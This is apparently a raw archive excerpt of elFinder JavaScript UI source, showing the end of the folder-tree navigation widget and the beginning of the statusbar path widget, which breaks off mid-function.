				return hash ? fm.navHash2Elm(hash).next('.'+subtree) : tree;
			},
			
			/**
			 * Find directory (wrapper) in required node
			 * before which we can insert new directory
			 *
			 * @param  jQuery  parent directory
			 * @param  Object  new directory
			 * @return jQuery
			 */
			findSibling = function(subtree, dir) {
				var node = subtree.children(':first'),
					info;

				while (node.length) {
					info = fm.file(fm.navId2Hash(node.children('[id]').attr('id')));
					
					if ((info = fm.file(fm.navId2Hash(node.children('[id]').attr('id')))) 
					&& compare(dir, info) < 0) {
						return node;
					}
					node = node.next();
				}
				return subtree.children('button.elfinder-navbar-pager-next');
			},
			
			/**
			 * Add new dirs in tree
			 *
			 * @param  Array  dirs list
			 * @return void
			 */
			updateTree = function(dirs) {
				var length  = dirs.length,
					orphans = [],
					i = length,
					tgts = jQuery(),
					done = {},
					cwd = fm.cwd(),
					append = function(parent, dirs, start, direction) {
						var hashes = {},
							curStart = 0,
							max = fm.newAPI? Math.min(10000, Math.max(10, opts.subTreeMax)) : 10000,
							setHashes = function() {
								hashes = {};
								jQuery.each(dirs, function(i, d) {
									hashes[d.hash] = i;
								});
							},
							change = function(mode) {
								if (mode === 'prepare') {
									jQuery.each(dirs, function(i, d) {
										d.node && parent.append(d.node.hide());
									});
								} else if (mode === 'done') {
									jQuery.each(dirs, function(i, d) {
										d.node && d.node.detach().show();
									});
								}
							},
							update = function(e, data) {
								var i, changed;
								e.stopPropagation();
								
								if (data.select) {
									render(getStart(data.select));
									return;
								}
								
								if (data.change) {
									change(data.change);
									return;
								}
								
								if (data.removed && data.removed.length) {
									dirs = jQuery.grep(dirs, function(d) {
										if (data.removed.indexOf(d.hash) === -1) {
											return true;
										} else {
											!changed && (changed = true);
											return false;
										}
									});
								}
								
								if (data.added && data.added.length) {
									dirs = dirs.concat(jQuery.grep(data.added, function(d) {
										if (hashes[d.hash] === void(0)) {
											!changed && (changed = true);
											return true;
										} else {
											return false;
										}
									}));
								}
								if (changed) {
									dirs.sort(compare);
									setHashes();
									render(curStart);
								}
							},
							getStart = function(target) {
								if (hashes[target] !== void(0)) {
									return Math.floor(hashes[target] / max) * max;
								}
								return void(0);
							},
							target = fm.navId2Hash(parent.prev('[id]').attr('id')),
							render = function(start, direction) {
								var html = [],
									nodes = {},
									total, page, s, parts, prev, next, prevBtn, nextBtn;
								delete hasMoreDirs[target];
								curStart = start;
								parent.off('update.'+fm.namespace, update);
								if (dirs.length > max) {
									parent.on('update.'+fm.namespace, update);
									if (start === void(0)) {
										s = 0;
										setHashes();
										start = getStart(cwd.hash);
										if (start === void(0)) {
											start = 0;
										}
									}
									parts = dirs.slice(start, start + max);
									hasMoreDirs[target] = parent;
									prev = start? Math.max(-1, start - max) : -1;
									next = (start + max >= dirs.length)? 0 : start + max;
									total = Math.ceil(dirs.length/max);
									page = Math.ceil(start/max);
								}
								jQuery.each(parts || dirs, function(i, d) {
									html.push(itemhtml(d));
									if (d.node) {
										nodes[d.hash] = d.node;
									}
								});
								if (prev > -1) {
									prevBtn = jQuery('<button class="elfinder-navbar-pager elfinder-navbar-pager-prev"></button>')
										.text(fm.i18n('btnPrevious', page, total))
										.button({
											icons: {
												primary: "ui-icon-caret-1-n"
											}
										})
										.on('click', function(e) {
											e.preventDefault();
											e.stopPropagation();
											render(prev, 'up');
										});
								} else {
									prevBtn = jQuery();
								}
								if (next) {
									nextBtn = jQuery('<button class="elfinder-navbar-pager elfinder-navbar-pager-next"></button>')
										.text(fm.i18n('btnNext', page + 2, total))
										.button({
											icons: {
												primary: "ui-icon-caret-1-s"
											}
										})
										.on('click', function(e) {
											e.preventDefault();
											e.stopPropagation();
											render(next, 'down');
										});
								} else {
									nextBtn = jQuery();
								}
								detach();
								parent.empty()[parts? 'addClass' : 'removeClass']('elfinder-navbar-hasmore').append(prevBtn, html.join(''), nextBtn);
								jQuery.each(nodes, function(h, n) {
									fm.navHash2Elm(h).parent().replaceWith(n);
								});
								if (direction) {
									autoScroll(fm.navHash2Id(parts[direction === 'up'? parts.length - 1 : 0].hash));
								}
								! mobile && fm.lazy(function() { updateDroppable(null, parent); });
							},
							detach = function() {
								jQuery.each(parent.children('.elfinder-navbar-wrapper'), function(i, elm) {
									var n = jQuery(elm),
										ch = n.children('[id]:first'),
										h, c;
									if (ch.hasClass(loaded)) {
										h = fm.navId2Hash(ch.attr('id'));
										if (h && (c = hashes[h]) !== void(0)) {
											dirs[c].node = n.detach();
										}
									}
								});
							};
						
						render();
					},
					dir, html, parent, sibling, init, atonce = {}, updates = [], base, node,
					lastKey, lastNodes = {};
				
				while (i--) {
					dir = dirs[i];

					if (done[dir.hash] || fm.navHash2Elm(dir.hash).length) {
						continue;
					}
					done[dir.hash] = true;
					
					if ((parent = findSubtree(dir.phash)).length) {
						lastKey = dir.phash || 'treeroot';
						if (typeof lastNodes[lastKey] === 'undefined') {
							lastNodes[lastKey] = parent.children(':last');
						}
						init = !lastNodes[lastKey].length;
						if (dir.phash && (init || parent.hasClass('elfinder-navbar-hasmore') || (sibling = findSibling(parent, dir)).length)) {
							if (init) {
								if (!atonce[dir.phash]) {
									atonce[dir.phash] = [];
								}
								atonce[dir.phash].push(dir);
							} else {
								if (sibling) {
									node = itemhtml(dir);
									sibling.before(node);
									! mobile && (tgts = tgts.add(node));
								} else {
									updates.push(dir);
								}
							}
						} else {
							node = itemhtml(dir);
							if (init) {
								parent.prepend(node);
							} else {
								lastNodes[lastKey].after(node);
							}
							if (!dir.phash || dir.isroot) {
								base = fm.navHash2Elm(dir.hash).parent();
							}
							! mobile && updateDroppable(null, base);
						}
					} else {
						orphans.push(dir);
					}
				}

				// When init, html append at once
				if (Object.keys(atonce).length){
					jQuery.each(atonce, function(p, dirs){
						var parent = findSubtree(p),
						    html   = [];
						dirs.sort(compare);
						append(parent, dirs);
					});
				}
				
				if (updates.length) {
					parent.trigger('update.' + fm.namespace, { added : updates });
				}
				
				if (orphans.length && orphans.length < length) {
					updateTree(orphans);
					return;
				} 
				
				! mobile && tgts.length && fm.lazy(function() { updateDroppable(tgts); });
				
			},
			
			/**
			 * sort function by dir.name
			 * 
			 */
			compare = function(dir1, dir2) {
				if (! fm.sortAlsoTreeview) {
					return fm.sortRules.name(dir1, dir2);
				} else {
					var asc   = fm.sortOrder == 'asc',
						type  = fm.sortType,
						rules = fm.sortRules,
						res;
					
					res = asc? rules[fm.sortType](dir1, dir2) : rules[fm.sortType](dir2, dir1);
					
					return type !== 'name' && res === 0
						? res = asc ? rules.name(dir1, dir2) : rules.name(dir2, dir1)
						: res;
				}
			},

			/**
			 * Timer ID of autoScroll
			 * 
			 * @type  Integer
			 */
			autoScrTm,

			/**
			 * Auto scroll to cwd
			 *
			 * @return Object  jQuery Deferred
			 */
			autoScroll = function(target) {
				var dfrd = jQuery.Deferred(),
					current, parent, top, treeH, bottom, tgtTop;
				autoScrTm && clearTimeout(autoScrTm);
				autoScrTm = setTimeout(function() {
					current = jQuery(document.getElementById((target || fm.navHash2Id(fm.cwd().hash))));
					if (current.length) {
						// expand parents directory
						(openCwd? current : current.parent()).parents('.elfinder-navbar-wrapper').children('.'+loaded).addClass(expanded).next('.'+subtree).show();
						
						parent = tree.parent().stop(false, true);
						top = parent.offset().top;
						treeH = parent.height();
						bottom = top + treeH - current.outerHeight();
						tgtTop = current.offset().top;
						
						if (tgtTop < top || tgtTop > bottom) {
							parent.animate({
								scrollTop : parent.scrollTop() + tgtTop - top - treeH / 3
							}, {
								duration : opts.durations.autoScroll,
								complete : function() {	dfrd.resolve(); }
							});
						} else {
							dfrd.resolve();
						}
					} else {
						dfrd.reject();
					}
				}, 100);
				return dfrd;
			},
			/**
			 * Get hashes array of items of the bottom of the leaf root back from the target
			 * 
			 * @param Object elFinder item(directory) object
			 * @return Array hashes
			 */
			getEnds = function(d) {
				var cur = d || fm.cwd(),
					res = cur.hash? [ cur.hash ] : [],
					phash, root, dir;
				
				root = fm.root(cur.hash);
				dir = fm.file(root);
				while (dir && (phash = dir.phash)) {
					res.unshift(phash);
					root = fm.root(phash);
					dir = fm.file(root);
					if (fm.navHash2Elm(dir.hash).hasClass(loaded)) {
						break;
					}
				}
				
				return res;
			},
			
			/**
			 * Select pages back in order to display the target
			 * 
			 * @param Object elFinder item(directory) object
			 * @return Object jQuery node object of target node
			 */
			selectPages = function(current) {
				var cur = current || fm.cwd(),
					curHash = cur.hash,
					node = fm.navHash2Elm(curHash);
			
				if (!node.length) {
					while(cur && cur.phash) {
						if (hasMoreDirs[cur.phash] && !fm.navHash2Elm(cur.hash).length) {
							hasMoreDirs[cur.phash].trigger('update.'+fm.namespace, { select : cur.hash });
						}
						cur = fm.file(cur.phash);
					}
					node = fm.navHash2Elm(curHash);
				}
				
				return node;
			},
			
			/**
			 * Flag indicating that synchronization is currently in progress
			 * 
			 * @type Boolean
			 */
			syncing,

			/**
			 * Mark current directory as active
			 * If current directory is not in tree - load it and its parents
			 *
			 * @param Array directory objects of cwd
			 * @param Boolean do auto scroll
			 * @return Object jQuery Deferred
			 */
			sync = function(cwdDirs, aScr) {
				var cwd     = fm.cwd(),
					cwdhash = cwd.hash,
					autoScr = aScr === void(0)? syncTree : aScr,
					loadParents = function(dir) {
						var dfd  = jQuery.Deferred(),
							reqs = [],
							ends = getEnds(dir),
							makeReq = function(cmd, h, until) {
								var data = {
										cmd    : cmd,
										target : h
									};
								if (until) {
									data.until = until;
								}
								return fm.request({
									data : data,
									preventFail : true
								});
							},
							baseHash, baseId;
						
						reqs = jQuery.map(ends, function(h) {
							var d = fm.file(h),
								isRoot = d? fm.isRoot(d) : false,
								node = fm.navHash2Elm(h),
								getPhash = function(h, dep) {
									var d, ph,
										depth = dep || 1;
									ph = (d = fm.file(h))? d.phash : false;
									if (ph && depth > 1) {
										return getPhash(ph, --depth);
									}
									return ph;
								},
								until,
								closest = (function() {
									var phash = getPhash(h);
									until = phash;
									while (phash) {
										if (fm.navHash2Elm(phash).hasClass(loaded)) {
											break;
										}
										until = phash;
										phash = getPhash(phash);
									}
									if (!phash) {
										until = void(0);
										phash = fm.root(h);
									}
									return phash;
								})(),
								cmd;
							
							if (!node.hasClass(loaded) && (isRoot || !d || !fm.navHash2Elm(d.phash).hasClass(loaded))) {
								if (isRoot || closest === getPhash(h) || closest === getPhash(h, 2)) {
									until = void(0);
									cmd = 'tree';
									if (!isRoot) {
										h = getPhash(h);
									}
								} else {
									cmd = 'parents';
								}
								if (!baseHash) {
									baseHash = (cmd === 'tree')? h : closest;
								}
								return makeReq(cmd, h, until);
							}
							return null;
						});
						
						if (reqs.length) {
							selectPages(fm.file(baseHash));
							baseId = fm.navHash2Id(baseHash);
							autoScr && autoScroll(baseId);
							baseNode = jQuery('#'+baseId);
							spinner = jQuery(fm.res('tpl', 'navspinner')).insertBefore(baseNode.children('.'+arrow));
							baseNode.removeClass(collapsed);
							
							jQuery.when.apply($, reqs)
							.done(function() {
								var res = {},data, treeDirs, dirs, argLen, i;
								argLen = arguments.length;
								if (argLen > 0) {
									for (i = 0; i < argLen; i++) {
										data = arguments[i].tree || [];
										res[ends[i]] = Object.assign([], filter(data));
									}
								}
								dfd.resolve(res);
							})
							.fail(function() {
								dfd.reject();
							});
							
							return dfd;
						} else {
							return dfd.resolve();
						}
					},
					done= function(res, dfrd) {
						var open = function() {
								if (openRoot && baseNode) {
									findSubtree(baseNode.hash).show().prev(selNavdir).addClass(expanded);
									openRoot = false;
								}
								if (autoScr) {
									autoScroll().done(checkSubdirs);
								} else {
									checkSubdirs();
								}
							},
							current;
						
						if (res) {
							jQuery.each(res, function(endHash, dirs) {
								dirs && updateTree(dirs);
								selectPages(fm.file(endHash));
								dirs && updateArrows(dirs, loaded);
							});
						}
						
						if (cwdDirs) {
							(fm.api < 2.1) && cwdDirs.push(cwd);
							updateTree(cwdDirs);
						}
						
						// set current node
						current = selectPages();
						
						if (!current.hasClass(active)) {
							tree.find(selNavdir+'.'+active).removeClass(active);
							current.addClass(active);
						}
						
						// mark as loaded to cwd parents
						current.parents('.elfinder-navbar-wrapper').children('.'+navdir).addClass(loaded);
						
						if (res) {
							fm.lazy(open).done(function() {
								dfrd.resolve();
							});
						} else {
							open();
							dfrd.resolve();
						}
					},
					rmSpinner = function(fail) {
						if (baseNode) {
							spinner.remove();
							baseNode.addClass(collapsed + (fail? '' : (' ' + loaded)));
						}
					},
					dfrd = jQuery.Deferred(),
					baseNode, spinner;
				
				if (!fm.navHash2Elm(cwdhash).length) {
					syncing = true;
					loadParents()
					.done(function(res) {
						done(res, dfrd);
						rmSpinner();
					})
					.fail(function() { 
						rmSpinner(true);
						dfrd.reject();
					})
					.always(function() {
						syncing = false;
					});
				} else {
					done(void(0), dfrd);
				}
				
				// trigger 'treesync' with my jQuery.Deferred
				fm.trigger('treesync', dfrd);

				return dfrd;
			},
			
			/**
			 * Make writable and not root dirs droppable
			 *
			 * @return void
			 */
			updateDroppable = function(target, node) {
				var limit = 100,
					next;
				
				if (!target) {
					if (!node || node.closest('div.'+wrapperRoot).hasClass(uploadable)) {
						(node || tree.find('div.'+uploadable)).find(selNavdir+':not(.elfinder-ro,.elfinder-na)').addClass('native-droppable');
					}
					if (!node || node.closest('div.'+wrapperRoot).hasClass(pastable)) {
						target = (node || tree.find('div.'+pastable)).find(selNavdir+':not(.'+droppable+')');
					} else {
						target = jQuery();
					}
					if (node) {
						// check leaf roots
						node.children('div.'+wrapperRoot).each(function() {
							updateDroppable(null, jQuery(this));
						});
					}
				}
				
				// make droppable on async
				if (target.length) {
					fm.asyncJob(function(elm) {
						jQuery(elm).droppable(droppableopts);
					}, jQuery.makeArray(target), {
						interval : 20,
						numPerOnce : 100
					});
				}
			},
			
			/**
			 * Check required folders for subfolders and update arrow classes
			 *
			 * @param  Array  folders to check
			 * @param  String css class 
			 * @return void
			 */
			updateArrows = function(dirs, cls) {
				var sel = cls == loaded
						? '.'+collapsed+':not(.'+loaded+')'
						: ':not(.'+collapsed+')';
				
				jQuery.each(dirs, function(i, dir) {
					fm.navHash2Elm(dir.phash).filter(sel)
						.filter(function() { return jQuery.grep(jQuery(this).next('.'+subtree).children(), function(n) {
							return (jQuery(n).children().hasClass(root))? false : true;
						}).length > 0; })
						.addClass(cls);
				});
			},
			
			
			
			/**
			 * Navigation tree
			 *
			 * @type JQuery
			 */
			tree = jQuery(this).addClass(treeclass)
				// make dirs draggable and toggle hover class
				.on('mouseenter mouseleave', selNavdir, function(e) {
					var enter = (e.type === 'mouseenter');
					if (enter && scrolling) { return; }
					var link  = jQuery(this),
						hash, dir; 
					
					if (!link.hasClass(dropover+' '+disabled)) {
						if (!mobile && enter && !link.data('dragRegisted') && !link.hasClass(root+' '+draggable+' elfinder-na elfinder-wo')) {
							link.data('dragRegisted', true);
							if (fm.isCommandEnabled('copy', (hash = fm.navId2Hash(link.attr('id'))))) {
								link.draggable(fm.draggable);
							}
						}
						link.toggleClass(hover, enter);
					}
					// update title attr if necessary
					if (enter && opts.attrTitle) {
						dir = fm.file(hash || fm.navId2Hash(link.attr('id')));
						if (!dir.isroot && link.attr('title') === (dir.i18 || dir.name)) {
							link.attr('title', fm.path(hash, true));
						}
					}
				})
				// native drag enter
				.on('dragenter', selNavdir, function(e) {
					if (e.originalEvent.dataTransfer) {
						var dst = jQuery(this);
						dst.addClass(hover);
						if (dst.is('.'+collapsed+':not(.'+expanded+')')) {
							dst.data('expandTimer', setTimeout(function() {
								dst.is('.'+collapsed+'.'+hover) && dst.children('.'+arrow).trigger('click');
							}, 500));
						}
					}
				})
				// native drag leave
				.on('dragleave', selNavdir, function(e) {
					if (e.originalEvent.dataTransfer) {
						var dst = jQuery(this);
						dst.data('expandTimer') && clearTimeout(dst.data('expandTimer'));
						dst.removeClass(hover);
					}
				})
				// open dir or open subfolders in tree
				.on('click', selNavdir, function(e) {
					var link = jQuery(this),
						hash = fm.navId2Hash(link.attr('id')),
						file = fm.file(hash);
					
					if (link.data('longtap')) {
						link.removeData('longtap');
						e.stopPropagation();
						return;
					}
					
					if (!link.hasClass(active)) {
						tree.find(selNavdir+'.'+active).removeClass(active);
						link.addClass(active);
					}
					if (hash != fm.cwd().hash && !link.hasClass(disabled)) {
						fm.exec('open', hash).done(function() {
							fm.one('opendone', function() {
								fm.select({selected: [hash], origin: 'navbar'});
							});
						});
					} else {
						if (link.hasClass(collapsed)) {
							link.children('.'+arrow).trigger('click');
						}
						fm.select({selected: [hash], origin: 'navbar'});
					}
				})
				// for touch device
				.on('touchstart', selNavdir, function(e) {
					if (e.originalEvent.touches.length > 1) {
						return;
					}
					var evt = e.originalEvent,
						p;
					
					if (e.target.nodeName === 'INPUT') {
						e.stopPropagation();
						return;
					}
					
					p = jQuery(this).addClass(hover)
					.removeData('longtap')
					.data('tmlongtap', setTimeout(function(e){
						// long tap
						p.data('longtap', true);
						fm.trigger('contextmenu', {
							'type'    : 'navbar',
							'targets' : [fm.navId2Hash(p.attr('id'))],
							'x'       : evt.touches[0].pageX,
							'y'       : evt.touches[0].pageY
						});
					}, 500));
				})
				.on('touchmove touchend', selNavdir, function(e) {
					if (e.target.nodeName === 'INPUT') {
						e.stopPropagation();
						return;
					}
					clearTimeout(jQuery(this).data('tmlongtap'));
					jQuery(this).removeData('tmlongtap');
					if (e.type == 'touchmove') {
						jQuery(this).removeClass(hover);
					}
				})
				// toggle subfolders in tree
				.on('click', selNavdir+'.'+collapsed+' .'+arrow, function(e) {
					var arrow = jQuery(this),
						link  = arrow.parent(selNavdir),
						stree = link.next('.'+subtree),
						dfrd  = jQuery.Deferred(),
						slideTH = 30, cnt;

					e.stopPropagation();

					if (link.hasClass(loaded)) {
						link.toggleClass(expanded);
						fm.lazy(function() {
							cnt = link.hasClass(expanded)? stree.children().length + stree.find('div.elfinder-navbar-subtree[style*=block]').children().length : stree.find('div:visible').length;
							if (cnt > slideTH) {
								stree.toggle();
								fm.draggingUiHelper && fm.draggingUiHelper.data('refreshPositions', 1);
								checkSubdirs();
							} else {
								stree.stop(true, true)[link.hasClass(expanded)? 'slideDown' : 'slideUp'](opts.durations.slideUpDown, function(){
									fm.draggingUiHelper && fm.draggingUiHelper.data('refreshPositions', 1);
									checkSubdirs();
								});
							}
						}).always(function() {
							dfrd.resolve();
						});
					} else {
						spinner.insertBefore(arrow);
						link.removeClass(collapsed);

						fm.request({cmd : 'tree', target : fm.navId2Hash(link.attr('id'))})
							.done(function(data) { 
								updateTree(Object.assign([], filter(data.tree))); 
								
								if (stree.children().length) {
									link.addClass(collapsed+' '+expanded);
									if (stree.children().length > slideTH) {
										stree.show();
										fm.draggingUiHelper && fm.draggingUiHelper.data('refreshPositions', 1);
										checkSubdirs();
									} else {
										stree.stop(true, true).slideDown(opts.durations.slideUpDown, function(){
											fm.draggingUiHelper && fm.draggingUiHelper.data('refreshPositions', 1);
											checkSubdirs();
										});
									}
								} 
							})
							.always(function(data) {
								spinner.remove();
								link.addClass(loaded);
								fm.one('treedone', function() {
									dfrd.resolve();
								});
							});
					}
					arrow.data('dfrd', dfrd);
				})
				.on('contextmenu', selNavdir, function(e) {
					var self = jQuery(this);
					
					// now dirname editing
					if (self.find('input:text').length) {
						e.stopPropagation();
						return;
					}
					
					e.preventDefault();

					if (!self.data('tmlongtap')) {
						fm.trigger('contextmenu', {
							'type'    : 'navbar',
							'targets' : [fm.navId2Hash(jQuery(this).attr('id'))],
							'x'       : e.pageX,
							'y'       : e.pageY
						});
					}
					self.addClass('ui-state-hover');
					
					fm.getUI('contextmenu').children().on('mouseenter', function() {
						self.addClass('ui-state-hover');
					});
					
					fm.bind('closecontextmenu', function() {
						self.removeClass('ui-state-hover');
					});
				})
				.on('scrolltoview', selNavdir, function(e, data) {
					var self = jQuery(this);
					autoScroll(self.attr('id')).done(function() {
						if (!data || data.blink === 'undefined' || data.blink) {
							fm.resources.blink(self, 'lookme');
						}
					});
				})
				// prepend fake dir
				.on('create.'+fm.namespace, function(e, item) {
					var pdir = findSubtree(item.phash),
						lock = item.move || false,
						dir  = jQuery(itemhtml(item)).addClass('elfinder-navbar-wrapper-tmp'),
						selected = fm.selected();
						
					lock && selected.length && fm.trigger('lockfiles', {files: selected});
					pdir.prepend(dir);
				}),
			scrolling = false,
			navbarScrTm,
			// move tree into navbar
			navbar = fm.getUI('navbar').append(tree).show().on('scroll', function() {
				scrolling = true;
				navbarScrTm && cancelAnimationFrame(navbarScrTm);
				navbarScrTm = requestAnimationFrame(function() {
					scrolling = false;
					checkSubdirs();
				});
			}),
			
			prevSortTreeview = fm.sortAlsoTreeview;
			
		fm.open(function(e) {
			var data = e.data,
				dirs = filter(data.files),
				contextmenu = fm.getUI('contextmenu');

			data.init && tree.empty();

			if (fm.UA.iOS) {
				navbar.removeClass('overflow-scrolling-touch').addClass('overflow-scrolling-touch');
			}

			if (dirs.length) {
				fm.lazy(function() {
					if (!contextmenu.data('cmdMaps')) {
						contextmenu.data('cmdMaps', {});
					}
					updateTree(dirs);
					updateArrows(dirs, loaded);
					sync(dirs);
				});
			} else {
				sync();
			}
		})
		// add new dirs
		.add(function(e) {
			var dirs = filter(e.data.added);

			if (dirs.length) {
				updateTree(dirs);
				updateArrows(dirs, collapsed);
			}
		})
		// update changed dirs
		.change(function(e) {
			// do ot perfome while syncing
			if (syncing) {
				return;
			}

			var dirs = filter(e.data.changed, true),
				length = dirs.length,
				l    = length,
				tgts = jQuery(),
				changed = {},
				dir, phash, node, tmp, realParent, reqParent, realSibling, reqSibling, isExpanded, isLoaded, parent, subdirs;
			
			jQuery.each(hasMoreDirs, function(h, node) {
				node.trigger('update.'+fm.namespace, { change: 'prepare' });
			});
			
			while (l--) {
				dir = dirs[l];
				phash = dir.phash;
				if ((node = fm.navHash2Elm(dir.hash)).length) {
					parent = node.parent();
					if (phash) {
						realParent  = node.closest('.'+subtree);
						reqParent   = findSubtree(phash);
						realSibling = node.parent().next();
						reqSibling  = findSibling(reqParent, dir);
						
						if (!reqParent.length) {
							continue;
						}
						
						if (reqParent[0] !== realParent[0] || realSibling.get(0) !== reqSibling.get(0)) {
							reqSibling.length ? reqSibling.before(parent) : reqParent.append(parent);
						}
					}
					isExpanded = node.hasClass(expanded);
					isLoaded   = node.hasClass(loaded);
					tmp        = jQuery(itemhtml(dir));
					node.replaceWith(tmp.children(selNavdir));
					! mobile && updateDroppable(null, parent);
					
					if (dir.dirs
					&& (isExpanded || isLoaded) 
					&& (node = fm.navHash2Elm(dir.hash))
					&& node.next('.'+subtree).children().length) {
						isExpanded && node.addClass(expanded);
						isLoaded && node.addClass(loaded);
					}
					
					subdirs |= dir.dirs == -1;
				}
			}
			
			// to check subdirs
			if (subdirs) {
				checkSubdirs();
			}
			
			jQuery.each(hasMoreDirs, function(h, node) {
				node.trigger('update.'+fm.namespace, { change: 'done' });
			});
			
			length && sync(void(0), false);
		})
		// remove dirs
		.remove(function(e) {
			var dirs = e.data.removed,
				l    = dirs.length,
				node, stree, removed;
			
			jQuery.each(hasMoreDirs, function(h, node) {
				node.trigger('update.'+fm.namespace, { removed : dirs });
				node.trigger('update.'+fm.namespace, { change: 'prepare' });
			});

			while (l--) {
				if ((node = fm.navHash2Elm(dirs[l])).length) {
					removed = true;
					stree = node.closest('.'+subtree);
					node.parent().detach();
					if (!stree.children().length) {
						stree.hide().prev(selNavdir).removeClass(collapsed+' '+expanded+' '+loaded);
					}
				}
			}
			
			removed && fm.getUI('navbar').children('.ui-resizable-handle').trigger('resize');
			
			jQuery.each(hasMoreDirs, function(h, node) {
				node.trigger('update.'+fm.namespace, { change: 'done' });
			});
		})
		// lock/unlock dirs while moving
		.bind('lockfiles unlockfiles', function(e) {
			var lock = e.type == 'lockfiles',
				helperLocked = e.data.helper? e.data.helper.data('locked') : false,
				act  = (lock && !helperLocked) ? 'disable' : 'enable',
				dirs = jQuery.grep(e.data.files||[], function(h) {  
					var dir = fm.file(h);
					return dir && dir.mime == 'directory' ? true : false;
				});
				
			jQuery.each(dirs, function(i, hash) {
				var dir = fm.navHash2Elm(hash);
				
				if (dir.length && !helperLocked) {
					dir.hasClass(draggable) && dir.draggable(act);
					dir.hasClass(droppable) && dir.droppable(act);
					dir[lock ? 'addClass' : 'removeClass'](disabled);
				}
			});
		})
		.bind('sortchange', function() {
			if (fm.sortAlsoTreeview || prevSortTreeview !== fm.sortAlsoTreeview) {
				var dirs,
					ends = [],
					endsMap = {},
					endsVid = {},
					topVid = '',
					single = false,
					current;
				
				fm.lazy(function() {
					dirs = filter(fm.files());
					prevSortTreeview = fm.sortAlsoTreeview;
					
					tree.empty();
					
					// append volume roots at first
					updateTree(jQuery.map(fm.roots, function(h) {
						var dir = fm.file(h);
						return dir && !dir.phash? dir : null;
					}));
					
					if (!Object.keys(hasMoreDirs).length) {
						updateTree(dirs);
						current = selectPages();
						updateArrows(dirs, loaded);
					} else {
						ends = getEnds();
						if (ends.length > 1) {
							jQuery.each(ends, function(i, end) {
								var vid = fm.file(fm.root(end)).volumeid; 
								if (i === 0) {
									topVid = vid;
								}
								endsVid[vid] = end;
								endsMap[end] = [];
							});
							jQuery.each(dirs, function(i, d) {
								if (!d.volumeid) {
									single = true;
									return false;
								}
								endsMap[endsVid[d.volumeid] || endsVid[topVid]].push(d);
							});
						} else {
							single = true;
						}
						if (single) {
							jQuery.each(ends, function(i, endHash) {
								updateTree(dirs);
								current = selectPages(fm.file(endHash));
								updateArrows(dirs, loaded);
							});
						} else {
							jQuery.each(endsMap, function(endHash, dirs) {
								updateTree(dirs);
								current = selectPages(fm.file(endHash));
								updateArrows(dirs, loaded);
							});
						}
					}
					
					sync();
				}, 100);
			}
		});

	});
	
	return this;
};
path.js000066600000012340151754206170006052 0ustar00/**
 * @class elFinder ui
 * Display current folder path in statusbar.
 * Click on folder name in path - open folder
 *
 * @author Dmitry (dio) Levashov
 **/
jQuery.fn.elfinderpath = function(fm, options) {
	"use strict";
	return this.each(function() {
		var query  = '',
			target = '',
			mimes  = [],
			place  = 'statusbar',
			clHover= fm.res('class', 'hover'),
			prefix = 'path' + (elFinder.prototype.uniqueid? elFinder.prototype.uniqueid : '') + '-',
			wzbase = jQuery('<div class="ui-widget-header ui-helper-clearfix elfinder-workzone-path"></div>'),
			path   = jQuery(this).addClass('elfinder-path').html('&nbsp;')
				.on('mousedown', 'span.elfinder-path-dir', function(e) {
					var hash = jQuery(this).attr('id').substr(prefix.length);
					e.preventDefault();
					if (hash != fm.cwd().hash) {
						jQuery(this).addClass(clHover);
						if (query) {
							fm.exec('search', query, { target: hash, mime: mimes.join(' ') });
						} else {
							fm.trigger('select', {selected : [hash]}).exec('open', hash);
						}
					}
				})
				.prependTo(fm.getUI('statusbar').show()),
			roots = jQuery('<div class="elfinder-path-roots"></div>').on('click', function(e) {
				e.stopPropagation();
				e.preventDefault();
				
				var roots = jQuery.map(fm.roots, function(h) { return fm.file(h); }),
				raw = [];

				jQuery.each(roots, function(i, f) {
					if (! f.phash && fm.root(fm.cwd().hash, true) !== f.hash) {
						raw.push({
							label    : fm.escape(f.i18 || f.name),
							icon     : 'home',
							callback : function() { fm.exec('open', f.hash); },
							options  : {
								iconClass : f.csscls || '',
								iconImg   : f.icon   || ''
							}
						});
					}
				});
				fm.trigger('contextmenu', {
					raw: raw,
					x: e.pageX,
					y: e.pageY
				});
			}).append('<span class="elfinder-button-icon elfinder-button-icon-menu" ></span>').appendTo(wzbase),
			render = function(cwd) {
				var dirs = [],
					names = [];
				jQuery.each(fm.parents(cwd), function(i, hash) {
					var c = (cwd === hash)? 'elfinder-path-dir elfinder-path-cwd' : 'elfinder-path-dir',
						f = fm.file(hash),
						name = fm.escape(f.i18 || f.name);
					names.push(name);
					dirs.push('<span id="'+prefix+hash+'" class="'+c+'" title="'+names.join(fm.option('separator'))+'">'+name+'</span>');
				});
				return dirs.join('<span class="elfinder-path-other">'+fm.option('separator')+'</span>');
			},
			toWorkzone = function() {
				var prev;
				path.children('span.elfinder-path-dir').attr('style', '');
				prev = fm.direction === 'ltr'? jQuery('#'+prefix + fm.cwd().hash).prevAll('span.elfinder-path-dir:first') : jQuery();
				path.scrollLeft(prev.length? prev.position().left : 0);
			},
			fit = function() {
				if (fm.UA.CSS.flex) {
					return;
				}
				var dirs = path.children('span.elfinder-path-dir'),
					cnt  = dirs.length,
					m, bg = 0, ids;
				
				if (place === 'workzone' || cnt < 2) {
					dirs.attr('style', '');
					return;
				}
				path.width(path.css('max-width'));
				dirs.css({maxWidth: (100/cnt)+'%', display: 'inline-block'});
				m = path.width() - 9;
				path.children('span.elfinder-path-other').each(function() {
					m -= jQuery(this).width();
				});
				ids = [];
				dirs.each(function(i) {
					var dir = jQuery(this),
						w   = dir.width();
					m -= w;
					if (w < this.scrollWidth) {
						ids.push(i);
					}
				});
				path.width('');
				if (ids.length) {
					if (m > 0) {
						m = m / ids.length;
						jQuery.each(ids, function(i, k) {
							var d = jQuery(dirs[k]);
							d.css('max-width', d.width() + m);
						});
					}
					dirs.last().attr('style', '');
				} else {
					dirs.attr('style', '');
				}
			},
			hasUiTree, hasUiStat;

		fm.one('init', function() {
			hasUiTree = fm.getUI('tree').length;
			hasUiStat = fm.getUI('stat').length;
			if (! hasUiTree && options.toWorkzoneWithoutNavbar) {
				wzbase.append(path).insertBefore(fm.getUI('workzone'));
				place = 'workzone';
				fm.bind('open', toWorkzone)
				.one('opendone', function() {
					fm.getUI().trigger('resize');
				});
			}
		})
		.bind('open searchend parents', function() {
			var dirs = [];

			query  = '';
			target = '';
			mimes  = [];
			
			path.html(render(fm.cwd().hash));
			if (Object.keys(fm.roots).length > 1) {
				path.css('margin', '');
				roots.show();
			} else {
				path.css('margin', 0);
				roots.hide();
			}
			!hasUiStat && fit();
		})
		.bind('searchstart', function(e) {
			if (e.data) {
				query  = e.data.query || '';
				target = e.data.target || '';
